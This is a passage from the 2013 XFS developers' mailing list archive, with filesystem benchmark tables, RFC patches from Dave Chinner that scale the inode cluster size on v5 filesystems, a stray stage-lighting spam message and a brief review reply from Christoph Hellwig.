V2ByJdyIZbr8RrYrlJwtvJv86Ykj3cHeJVI1Se5S/u6SUE9WZezHLagT2C5EO64Q8nrR /bgA== X-Received: by 10.236.204.97 with SMTP id g61mr37344yho.63.1378694104075; Sun, 08 Sep 2013 19:35:04 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id 48sm14731245yhq.11.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Sep 2013 19:35:03 -0700 (PDT) Message-ID: <522D33D0.7030901@gmail.com> Date: Sun, 08 Sep 2013 22:34:56 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Brian Foster CC: Dave Chinner , xfs@oss.sgi.com Subject: Better numbers Re: [RFC PATCH 10/11] xfs: update the finobt on inode free References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-11-git-send-email-bfoster@redhat.com> <20130905025421.GX23571@dastard> <5228AF00.7080700@redhat.com> <20130906002847.GR12779@dastard> <5229BEE6.3060407@redhat.com> <20130906212441.GB12541@dastard> <522B1C4F.7000404@redhat.com> X-ASG-Orig-Subj: Better numbers Re: [RFC PATCH 10/11] xfs: update the finobt on inode free In-Reply-To: <522B1C4F.7000404@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-ye0-f178.google.com[209.85.213.178] X-Barracuda-Start-Time: 1378694104 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140463 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 09/07/2013 08:30 AM, Brian Foster wrote: > On 09/06/2013 05:24 PM, Dave Chinner wrote: >> On Fri, Sep 06, 2013 at 07:39:18AM -0400, Brian Foster wrote: >>> On 09/05/2013 08:28 PM, Dave Chinner wrote: >>>> On Thu, Sep 05, 2013 at 12:19:12PM -0400, Brian Foster wrote: >>>>> On 09/04/2013 10:54 PM, Dave Chinner wrote: >>>>>> On Tue, Sep 03, 2013 at 02:25:07PM -0400, Brian Foster wrote: >>> ... >>>>> > ... >>>> No worries. BTW, can you post your rudimentary userspace support so >>>> we can run tests that use this code, too? >>>> >>> >>> Sure. My xfsprogs branch currently is the application of a slightly >>> older version of this set (pre-cleanups I made to make this post-worthy) >>> with some hacks to make it apply/compile and a few other patches on top >>> of that for mkfs, xfs_db and xfs_repair to work through some basic >>> things I ran into when running xfstests. >>> >>> Would you prefer I drop the whole thing on the list? >> >> Drop it on the list, maybe just a as tarball rather than a patchset >> if it's not ready for review yet. >> > > Ok, attached. This applies on top of the following commit in the > xfsprogs tree: > > 982e5c7e xfs_db: add header to freesp -d output > > Use the following command to format a finobt enabled fs: > > mkfs.xfs -m crc=1,finobt=1 > > ... and otherwise there are a couple random fixes for xfs_db and xfs_repair. > > Brian > > >> Cheers, >> >> Dave. Hi! Here's a better set of numbers, using the finobt-enabled userspace. Some cosmetic errors in my chart-generating Perl script were also fixed. Revised legend: v4: v4 XFS v4dirent: v4 with Mark's dirent patches v4d512bi: same as above, with 512-byte inodes v5: v5/CRC XFS, no finobt except for "finobt" patch case Again, a kernel git dir was built, then turned into a source tar.gz file for these tests. Files involved in find/sha256/cp/stat tests: $TEST_DIR/a/linux/ (kernel + xfs-oss/master, built) $TEST_DIR/b/linux/ (same) REAL command patch v4 v4dirent v4d512bi v5 ----------+-------+--------+--------+--------+-------- tar -xf normal 103.202 104.951 101.771 104.486 tar -xf patched 104.610 101.705 98.784 101.919 tar -xf finobt 103.753 102.949 102.609 99.847 ----------+-------+--------+--------+--------+-------- sha256sum normal 227.456 228.321 231.947 234.127 sha256sum patched 230.233 229.375 231.509 233.253 sha256sum finobt 228.108 228.873 232.464 233.498 ----------+-------+--------+--------+--------+-------- cp -r a b normal 239.714 242.754 248.994 249.584 cp -r a b patched 241.273 243.216 248.531 254.501 cp -r a b finobt 240.779 242.838 244.760 253.203 ----------+-------+--------+--------+--------+-------- find . normal 11.894 12.370 12.324 12.397 find . patched 12.043 12.310 12.736 13.216 find . finobt 11.882 12.376 13.501 13.827 ----------+-------+--------+--------+--------+-------- rm -r a normal 8.556 8.744 11.298 11.774 rm -r a patched 8.904 8.981 10.590 12.057 rm -r a finobt 8.588 9.007 10.841 12.168 ----------+-------+--------+--------+--------+-------- cp -r b a normal 262.065 256.448 272.290 272.221 cp -r b a patched 264.116 265.875 267.346 270.811 cp -r b a finobt 265.255 259.111 262.312 268.700 ----------+-------+--------+--------+--------+-------- rm -r b normal 8.585 9.258 8.791 10.058 rm -r b patched 9.061 8.345 9.909 9.273 rm -r b finobt 8.326 8.231 10.078 10.464 ----------+-------+--------+--------+--------+-------- stat normal 161.853 162.772 163.555 165.046 stat patched 162.641 163.148 163.698 164.015 stat finobt 163.366 162.707 163.256 165.051 ----------+-------+--------+--------+--------+-------- sha check normal 133.938 133.016 141.352 142.921 sha check patched 133.885 133.399 138.013 143.315 sha check finobt 135.128 134.900 142.158 141.094 ----------+-------+--------+--------+--------+-------- cp tarball normal 44.102 42.812 43.603 43.722 cp tarball patched 43.724 44.187 44.339 42.761 cp tarball finobt 43.930 43.236 42.736 44.000 ----------+-------+--------+--------+--------+-------- TOTAL normal 1201.365 1201.446 1235.925 1246.336 TOTAL patched 1210.490 1210.541 1225.455 1245.121 TOTAL finobt 1209.115 1204.228 1224.715 1241.852 USER command patch v4 v4dirent v4d512bi v5 ----------+-------+--------+--------+--------+-------- tar -xf normal 59.223 59.473 58.817 59.640 tar -xf patched 59.420 59.473 58.953 59.893 tar -xf finobt 59.153 59.850 59.643 59.153 ----------+-------+--------+--------+--------+-------- sha256sum normal 49.877 49.877 49.787 49.730 sha256sum patched 49.437 49.863 49.583 49.673 sha256sum finobt 49.577 49.580 49.743 49.597 ----------+-------+--------+--------+--------+-------- cp -r a b normal 0.697 0.707 0.743 0.800 cp -r a b patched 0.657 0.710 0.677 0.703 cp -r a b finobt 0.737 0.777 0.777 0.780 ----------+-------+--------+--------+--------+-------- find . normal 0.257 0.237 0.233 0.223 find . patched 0.283 0.223 0.223 0.203 find . finobt 0.263 0.253 0.237 0.273 ----------+-------+--------+--------+--------+-------- rm -r a normal 0.170 0.120 0.147 0.160 rm -r a patched 0.160 0.163 0.130 0.137 rm -r a finobt 0.173 0.157 0.123 0.150 ----------+-------+--------+--------+--------+-------- cp -r b a normal 0.817 0.763 0.817 0.763 cp -r b a patched 0.737 0.740 0.787 0.670 cp -r b a finobt 0.783 0.747 0.737 0.687 ----------+-------+--------+--------+--------+-------- rm -r b normal 0.170 0.153 0.140 0.133 rm -r b patched 0.140 0.157 0.143 0.163 rm -r b finobt 0.173 0.127 0.193 0.153 ----------+-------+--------+--------+--------+-------- stat normal 1.660 1.653 1.570 1.720 stat patched 1.737 1.727 1.700 1.630 stat finobt 1.767 1.640 1.557 1.763 ----------+-------+--------+--------+--------+-------- sha check normal 58.467 58.603 58.550 58.370 sha check patched 58.157 58.183 58.620 58.343 sha check finobt 58.530 58.107 58.367 58.300 ----------+-------+--------+--------+--------+-------- cp tarball normal 0.023 0.027 0.033 0.037 cp tarball patched 0.017 0.020 0.020 0.020 cp tarball finobt 0.020 0.037 0.033 0.020 ----------+-------+--------+--------+--------+-------- TOTAL normal 171.361 171.613 170.837 171.576 TOTAL patched 170.745 171.259 170.836 171.435 TOTAL finobt 171.176 171.275 171.410 170.876 SYS command patch v4 v4dirent v4d512bi v5 ----------+-------+--------+--------+--------+-------- tar -xf normal 19.770 19.800 19.960 20.770 tar -xf patched 19.550 19.930 20.067 20.963 tar -xf finobt 20.010 19.707 19.707 21.397 ----------+-------+--------+--------+--------+-------- sha256sum normal 17.157 14.607 14.393 16.053 sha256sum patched 17.277 14.813 14.550 15.007 sha256sum finobt 17.123 14.920 14.667 15.133 ----------+-------+--------+--------+--------+-------- cp -r a b normal 18.697 18.973 18.687 19.253 cp -r a b patched 19.033 18.993 18.783 19.703 cp -r a b finobt 19.093 18.863 18.877 19.363 ----------+-------+--------+--------+--------+-------- find . normal 0.820 0.573 0.537 0.597 find . patched 0.793 0.593 0.547 0.610 find . finobt 0.800 0.553 0.533 0.543 ----------+-------+--------+--------+--------+-------- rm -r a normal 3.883 3.827 3.800 3.967 rm -r a patched 4.053 3.937 4.003 4.143 rm -r a finobt 4.010 4.020 3.983 4.290 ----------+-------+--------+--------+--------+-------- cp -r b a normal 19.043 19.083 18.753 19.503 cp -r b a patched 19.203 19.100 19.040 19.680 cp -r b a finobt 19.133 18.973 18.950 19.607 ----------+-------+--------+--------+--------+-------- rm -r b normal 4.097 3.947 3.900 4.123 rm -r b patched 4.287 4.067 4.093 4.227 rm -r b finobt 4.223 4.140 4.013 4.480 ----------+-------+--------+--------+--------+-------- stat normal 11.337 10.730 10.727 10.680 stat patched 11.080 10.827 10.800 10.457 stat finobt 11.393 10.720 10.680 10.797 ----------+-------+--------+--------+--------+-------- sha check normal 8.970 8.920 8.980 9.507 sha check patched 9.053 9.143 8.540 9.420 sha check finobt 8.653 9.020 8.863 9.103 ----------+-------+--------+--------+--------+-------- cp tarball normal 5.537 5.397 5.470 5.373 cp tarball patched 5.390 5.313 5.460 5.343 cp tarball finobt 5.520 5.357 5.333 5.603 ----------+-------+--------+--------+--------+-------- TOTAL normal 109.311 105.857 105.207 109.826 TOTAL patched 109.719 106.716 105.883 109.553 TOTAL finobt 109.958 106.273 105.606 110.316 From dave@fromorbit.com Mon Sep 9 03:34:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1B1C37F59 for ; Mon, 9 Sep 2013 03:34:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DE4438F8040 for ; Mon, 9 Sep 2013 01:34:31 -0700 (PDT) X-ASG-Debug-ID: 1378715669-04bdf02f23e8c840001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id mlzQKsS0JC0P1bLn for ; Mon, 09 Sep 2013 01:34:30 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AooHABqHLVJ5Lapl/2dsb2JhbABbgwevKJUSF3SCJQEtLzsYagM0iAGlHaAElCQDqVuDMio Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 09 Sep 2013 18:04:29 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VIwvQ-0002GL-9A for xfs@oss.sgi.com; Mon, 09 Sep 2013 18:34:24 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VIwvQ-0005Cf-84 for xfs@oss.sgi.com; Mon, 09 Sep 2013 18:34:24 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems Date: Mon, 9 Sep 2013 18:34:24 +1000 X-ASG-Orig-Subj: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems Message-Id: <1378715664-19969-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1378715669 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140469 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner v5 filesystems use 512 byte inodes as a minimum, so read inodes in clusters that are effectively half the size of a v4 filesystem with 256 byte inodes. For v5 fielsystems, scale the inode cluster size with the size of the inode so that we keep a constant 32 inodes per cluster ratio for all inode IO. This only works if mkfs.xfs sets the inode alignment appropriately for larger inode clusters, so this functionality is made conditional on mkfs doing the right thing. xfs_repair needs to know about the inode alignment changes, too. FWIW, results with lookaside cache size of 37 entries with this patch are (Note: finobt enabled on v5 filesystems, v4 using defaults including 256 byte inode size): Wall time: create bulkstat find+stat ls -R unlink v4 237s 161s 173s 201s 299s v5 235s 163s 205s 31s 356s patched 234s 160s 182s 29s 317s System time: create bulkstat find+stat ls -R unlink v4 2601s 2490s 1653s 1656s 2960s v5 2637s 2497s 1681s 20s 3216s patched 2613s 2451s 1658s 20s 3007s Lookaside cache hit rate: create bulkstat find+stat ls -R unlink v4 0.73 0.91 0.71 0.70 0.71 v5 0.76 0.88 0.68 0.10 0.75 patched 0.81 0.93 0.70 0.08 0.84 So, wall time same or down across the board, system time same or down across the board, and cache hit rates all improve except for the ls -R case which is a pure cold cache directory read workload on v5 filesystems... So, this patch removes most of the performance and CPU usage differential between v4 and v5 filesystems on traversal related workloads. Signed-off-by: Dave Chinner --- fs/xfs/xfs_mount.c | 14 ++++++++++++++ fs/xfs/xfs_mount.h | 2 +- fs/xfs/xfs_trans_resv.c | 3 +-- 3 files changed, 16 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 8ac98c7..788d666d 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -722,8 +722,22 @@ xfs_mountfs( * Set the inode cluster size. * This may still be overridden by the file system * block size if it is larger than the chosen cluster size. + * + * For v5 filesystems, scale the cluster size with the inode size to + * keep a constant ratio of inode per cluster buffer, but only if mkfs + * has set the inode alignment value appropriately for larger cluster + * sizes. */ mp->m_inode_cluster_size = XFS_INODE_BIG_CLUSTER_SIZE; + if (xfs_sb_version_hascrc(&mp->m_sb)) { + int new_size = mp->m_inode_cluster_size; + + new_size *= mp->m_sb.sb_inodesize / XFS_DINODE_MIN_SIZE; + if (mp->m_sb.sb_inoalignmt >= XFS_B_TO_FSBT(mp, new_size)) + mp->m_inode_cluster_size = new_size; + xfs_info(mp, "Using inode cluster size of %d bytes", + mp->m_inode_cluster_size); + } /* * Set inode alignment fields diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 2a997dc..a4f7f94 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -111,7 +111,7 @@ typedef struct xfs_mount { __uint8_t m_blkbb_log; /* blocklog - BBSHIFT */ __uint8_t m_agno_log; /* log #ag's */ __uint8_t m_agino_log; /* #bits for agino in inum */ - __uint16_t m_inode_cluster_size;/* min inode buf size */ + uint m_inode_cluster_size;/* min inode buf size */ uint m_blockmask; /* sb_blocksize-1 */ uint m_blockwsize; /* sb_blocksize in words */ uint m_blockwmask; /* blockwsize-1 */ diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index ae7a185..1494f62 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -403,8 +403,7 @@ xfs_calc_ifree_reservation( xfs_calc_inode_res(mp, 1) + xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + xfs_calc_buf_res(2, XFS_FSB_TO_B(mp, 1)) + - MAX((__uint16_t)XFS_FSB_TO_B(mp, 1), - XFS_INODE_CLUSTER_SIZE(mp)) + + MAX(XFS_FSB_TO_B(mp, 1), XFS_INODE_CLUSTER_SIZE(mp)) + xfs_calc_buf_res(1, 0) + xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + mp->m_in_maxlevels, 0) + -- 1.8.3.2 From dave@fromorbit.com Mon Sep 9 03:35:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BFF807F62 for ; Mon, 9 Sep 2013 03:35:00 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9A64D304051 for ; Mon, 9 Sep 2013 01:35:00 -0700 (PDT) X-ASG-Debug-ID: 1378715698-04cb6c2e9fe5c3b0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id mGNuQk4a2m2Yrt7e for ; Mon, 09 Sep 2013 01:34:58 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AooHABqHLVJ5Lapl/2dsb2JhbABbgwevKJUSF3SCJQEtLzsYagM0iAGlHaAEkB2EBwOpW4MyKg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 09 Sep 2013 18:04:57 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VIwvx-0002GP-2E for xfs@oss.sgi.com; Mon, 09 Sep 2013 18:34:57 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VIwvx-0005E7-16 for xfs@oss.sgi.com; Mon, 09 Sep 2013 18:34:57 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] [RFC] xfs: support larger inode clusters on v5 filesystems Date: Mon, 9 Sep 2013 18:34:57 +1000 X-ASG-Orig-Subj: [PATCH] [RFC] xfs: support larger inode clusters on v5 filesystems Message-Id: <1378715697-20059-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1378715698 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140469 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner To allow the kernel to use larger inode clusters than the standard 8192 bytes, we need to set the inode alignment fields appropriately so that the kernel is consistent in it's inode to buffer mappings. We set the alignment to allow a constant 32 inodes per cluster, instead of a fixed 8k cluster size. Signed-off-by: Dave Chinner --- include/libxfs.h | 2 +- mkfs/xfs_mkfs.c | 6 +++++- repair/sb.c | 7 ++++--- 3 files changed, 10 insertions(+), 5 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index 90f9a75..a074e58 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -180,7 +180,7 @@ typedef struct xfs_mount { __uint8_t m_sectbb_log; /* sectorlog - BBSHIFT */ __uint8_t m_agno_log; /* log #ag's */ __uint8_t m_agino_log; /* #bits for agino in inum */ - __uint16_t m_inode_cluster_size;/* min inode buf size */ + uint m_inode_cluster_size;/* min inode buf size */ uint m_blockmask; /* sb_blocksize-1 */ uint m_blockwsize; /* sb_blocksize in words */ uint m_blockwmask; /* blockwsize-1 */ diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index 66d8833..36e6215 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2545,7 +2545,11 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), } else sbp->sb_logsunit = 0; if (iaflag) { - sbp->sb_inoalignmt = XFS_INODE_BIG_CLUSTER_SIZE >> blocklog; + int cluster_size = XFS_INODE_BIG_CLUSTER_SIZE; + if (crcs_enabled) + cluster_size *= isize / XFS_DINODE_MIN_SIZE; + sbp->sb_inoalignmt = cluster_size >> blocklog; + printf("inoalignmt = %d (%d)\n", sbp->sb_inoalignmt, cluster_size); iaflag = sbp->sb_inoalignmt != 0; } else sbp->sb_inoalignmt = 0; diff --git a/repair/sb.c b/repair/sb.c index e2f5933..a2231e4 100644 --- a/repair/sb.c +++ b/repair/sb.c @@ -175,11 +175,12 @@ find_secondary_sb(xfs_sb_t *rsb) static int calc_ino_align(xfs_sb_t *sb) { - xfs_extlen_t align; + xfs_extlen_t align = XFS_INODE_BIG_CLUSTER_SIZE; - align = XFS_INODE_BIG_CLUSTER_SIZE >> sb->sb_blocklog; + if (xfs_sb_version_hascrc(sb)) + align *= sb->sb_inodesize / XFS_DINODE_MIN_SIZE; - return(align); + return align >> sb->sb_blocklog; } /* -- 1.8.3.2 From stagelighting12@stagelighting12.oicp.net Mon Sep 9 03:52:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_FONT_FACE_BAD, HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C55777F59 for ; Mon, 9 Sep 2013 03:52:08 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6FCF9AC002 for ; Mon, 9 Sep 2013 01:52:04 -0700 (PDT) X-ASG-Debug-ID: 1378716718-04bdf02f23e8da40001-NocioJ Received: from stagelighting12.oicp.net ([163.142.233.10]) by cuda.sgi.com with SMTP id YPOnOFqAxUVhH43J for ; Mon, 09 Sep 2013 01:51:59 -0700 (PDT) X-Barracuda-Envelope-From: stagelighting12@stagelighting12.oicp.net X-Barracuda-Apparent-Source-IP: 163.142.233.10 Received: from PC-201102141733[127.0.0.1] by PC-201102141733[127.0.0.1] (SMTPD32); Mon, 9 Sep 2013 16:50:57 +0800 From: "stagelighting product factory" Subject: re:stage lighting price list To: "xfs" X-ASG-Orig-Subj: re:stage lighting price list MIME-Version: 1.0 Sender: stagelighting12@stagelighting12.oicp.net Reply-To: sales@6star-lighting.com Date: Mon, 9 Sep 2013 16:50:57 +0800 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 8bit Content-Disposition: inline X-Barracuda-Connect: UNKNOWN[163.142.233.10] X-Barracuda-Start-Time: 1378716718 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.85 X-Barracuda-Spam-Status: No, SCORE=0.85 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_FONT_FACE_BAD, HTML_MESSAGE, MIME_HTML_ONLY, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140470 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.61 HTML_FONT_FACE_BAD BODY: HTML font face is not a word 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Message-Id: <20130909085204.C83CDA42176@cuda.sgi.com>
Hello,sir
 
see our price list for stage lighting.
 
we will give you discount price based on your final REAL order list with quantity, WE WILL ASSURE THAT YOU WILL BE HAPPY FOR OUR FIANL PRICE IF WE HAVE YOUR REAL ORDER LIST.
 
Let us know your idea soonest!

 

 lily

From BATV+0f923cd9b26730049a30+3669+infradead.org+hch@bombadil.srs.infradead.org Mon Sep 9 08:32:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BE18C7F55 for ; Mon, 9 Sep 2013 08:32:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5CA96AC004 for ; Mon, 9 Sep 2013 06:32:56 -0700 (PDT) X-ASG-Debug-ID: 1378733575-04bdf02f20e96a20001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id tftvMEUqO1ArBo0H (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 09 Sep 2013 06:32:55 -0700 (PDT) X-Barracuda-Envelope-From: BATV+0f923cd9b26730049a30+3669+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VJ1aI-00059A-QF; Mon, 09 Sep 2013 13:32:54 +0000 Date: Mon, 9 Sep 2013 06:32:54 -0700 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems Message-ID: <20130909133254.GA14778@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems References: <1378715664-19969-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378715664-19969-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1378733575 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140474 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- I can't see anything v5 format specific here, as 512 byte inodes can be created with v4 filesystems as well. From sandeen@sandeen.net Mon Sep 9 08:54:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A25267F55 for ; Mon, 9 Sep 2013 08:54:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 808D88F804B for ; Mon, 9 Sep 2013 06:54:44 -0700 (PDT) X-ASG-Debug-ID: 1378734883-04cbb02c3ce581a0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id GuJxtnZWrQ4DjfcY for ; Mon, 09 Sep 2013 06:54:43 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 733296095064; Mon, 9 Sep 2013 08:54:42 -0500 (CDT) Message-ID: <522DD321.1010201@sandeen.net> Date: Mon, 09 Sep 2013 08:54:41 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 